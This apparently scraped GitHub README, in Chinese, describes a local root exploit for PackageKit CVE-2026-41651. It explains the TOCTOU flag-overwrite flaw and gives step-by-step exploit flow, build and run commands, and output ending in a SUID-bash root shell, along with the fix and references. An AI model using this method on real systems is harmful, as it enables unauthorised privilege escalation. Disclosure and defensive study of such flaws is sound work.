Vozec/CVE-2026-41651
GitHub: Vozec/CVE-2026-41651
针对 PackageKit 守护进程 CVE-2026-41651 漏洞的本地提权利用程序,利用确定性 TOCTOU 缺陷绕过 Polkit 认证获取 Root 权限。
Stars: 0 | Forks: 1
# Pack2TheRoot — CVE-2026-41651




## 概述
| 字段 | 值 |
|-------|-------|
| **CVE** | CVE-2026-41651 |
| **组件** | PackageKit 守护进程 (`packagekitd`) |
| **受影响版本** | 1.0.2 – 1.3.4 |
| **修复版本** | 1.3.5 |
| **影响** | 本地权限提升 → root |
| **所需权限** | 无 |
| **用户交互** | 无 |
| **测试环境** | Ubuntu 24.04, Debian 12 |
## 漏洞详情
`src/pk-transaction.c` 中的三个协同缺陷在 PackageKit 事务的授权和执行之间创建了一个 TOCTOU(检查时间与使用时间)窗口。
### 缺陷 1 — 无条件标志覆盖(第 4036 行)
`InstallFiles()` 将调用方提供的标志直接写入 `transaction->cached_transaction_flags`,而没有检查当前的事务状态:
```
/* save so we can run later */
transaction->cached_transaction_flags = transaction_flags; // ← BUG 1
transaction->cached_full_paths = g_strdupv (full_paths);
```
### 缺陷 2 — 静默状态转换拒绝(第 876–881 行)
`pk_transaction_set_state()` 静默地拒绝了向后状态转换,使得被破坏的标志保持不变:
```
if (transaction->state != PK_TRANSACTION_STATE_UNKNOWN &&
transaction->state > state) {
g_warning ("cannot set %s, as already %s", ...);
return; // ← BUG 2 — returns without error, flags already overwritten
}
```
### 缺陷 3 — 延迟读取标志(第 2273–2277 行)
`pk_transaction_run()` 在**调度时**读取 `cached_transaction_flags`,而不是在授权时:
```
case PK_ROLE_ENUM_INSTALL_FILES:
pk_backend_install_files (transaction->backend,
transaction->job,
transaction->cached_transaction_flags, // ← BUG 3
transaction->cached_full_paths);
break;
```
### 附加 — SIMULATE 绕过 polkit(第 2893–2900 行)
当设置了 `PK_TRANSACTION_FLAG_SIMULATE` 时,`pk_transaction_obtain_authorization()` 会完全跳过 polkit 检查并直接转换到 `READY` 状态:
```
if (pk_bitfield_contain (transaction->cached_transaction_flags,
PK_TRANSACTION_FLAG_ENUM_SIMULATE) || ...) {
g_debug ("No authentication required");
pk_transaction_set_state (transaction, PK_TRANSACTION_STATE_READY);
return TRUE; // ← no polkit, no password
}
```
## 漏洞利用流程
```
Attacker PackageKit daemon
│ │
│ CreateTransaction() │
│────────────────────────────────────►│ state = NEW
│◄────────────────────────────────────│
│ │
│ InstallFiles(SIMULATE, dummy.deb) │
│────────────────────────────────────►│ SIMULATE → polkit bypassed
│◄────────────────────────────────────│ state = READY
│ (reply received) │ g_idle_add(run_idle_cb) ← queued
│ │
│ InstallFiles(NONE, payload.deb) │ [BUG 1] overwrite flags + paths
│────────────────────────────────────►│ [BUG 2] set_state(WAITING_FOR_AUTH)
│◄────────────────────────────────────│ silently rejected
│ (reply received) │ state stays READY
│ │
│ [GLib idle fires]
│ │ pk_transaction_run()
│ │ [BUG 3] reads NONE + payload.deb
│ │ → dpkg installs payload as root
│ │ → postinst: chmod +s /bin/bash
│ │
│ execv("/tmp/.suid_bash", "-p") │
│──────────────────────────────────► │
│ # whoami: root │
```
该攻击是**完全确定性的** —— 不需要赢得竞态条件。GLib 空闲回调仅在所有挂起的 D-Bus I/O 处理完毕后触发,因此第二个 `InstallFiles` 调用必定会在调度前覆盖标志。
## 构建
**依赖:** GLib/GIO 开发头文件(Debian/Ubuntu 上为 `libglib2.0-dev`)
```
sudo apt install libglib2.0-dev
make
```
该漏洞利用程序**没有其他外部依赖** —— 恶意的 `.deb` 包是在运行时纯用 C 语言组装的(ar 归档 + 存储的 gzip + ustar tar)。
## 用法
```
./cve-2026-41651
```
成功后,该漏洞利用程序会在 `/tmp/.suid_bash` 处生成一个 bash 的 SUID 副本,并立即执行它:
```
═══════════════════════════════════════════════════
CVE-2026-41651 — PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Distro type : Debian/Ubuntu (.deb)
[*] Building packages (pure C)...
[+] dummy : /tmp/.pk-dummy-1234.deb
[+] payload : /tmp/.pk-payload-1234.deb
[*] Transaction : /org/freedesktop/PackageKit/Transaction/1_daa3f4_0
[*] Step 1 : InstallFiles(SIMULATE=0x2, dummy)
[*] Step 2 : InstallFiles(NONE=0x0, payload)
[*] Waiting for dispatch (30 s max)...
[*] Finished (exit=1, 843 ms)
[+] SUCCESS — root shell via /tmp/.suid_bash -p
bash-5.2# whoami
root
```
## 检测
在 PackageKit ≥ 1.3.5 上,第二次调用会被立即拒绝:
```
[-] Target is PATCHED (PackageKit >= 1.3.5)
```
该修复在 `pk_transaction_method_call()` 中添加了单一的状态守卫,在任何操作方法被调度之前进行检查:
```
if (transaction->state != PK_TRANSACTION_STATE_NEW) {
g_dbus_method_invocation_return_error (invocation,
PK_TRANSACTION_ERROR, PK_TRANSACTION_ERROR_INVALID_STATE,
"cannot call %s on transaction %s: already in state %s",
method_name, transaction->tid,
pk_transaction_state_to_string (transaction->state));
return;
}
```
要检查您的系统是否存在此漏洞:
```
pkcon --version # check version
systemctl status packagekit
journalctl -u packagekit --since '5 min ago'
```
## 参考
- [NVD — CVE-2026-41651](https://nvd.nist.gov/vuln/detail/CVE-2026-41651)
- [GitHub 安全通告 — GHSA-f55j-vvr9-69xv](https://github.com/PackageKit/PackageKit/security/advisories/GHSA-f55j-vvr9-69xv)
- [Telekom Security — pack2theroot](https://github.security.telekom.com/2026/04/pack2theroot-linux-local-privilege-escalation.html)
- [修复提交 — 76cfb675](https://github.com/PackageKit/PackageKit/commit/76cfb675fb31acc3ad5595d4380bfff56d2a8697)
- [OSS-Security 公告](https://lists.freedesktop.org/archives/packagekit/2026-April/026513.html)
## 免责声明
此 PoC 仅用于教育目的和经授权的安全测试。
标签:CVE-2026-41651, CVSS 8.8, Debian, PackageKit, TOCTOU, Web报告查看器, 协议分析, 子域名枚举, 安全漏洞, 客户端加密, 本地提权, 权限提升, 漏洞分析, 系统安全, 网络安全, 路径探测, 逆向分析, 隐私保护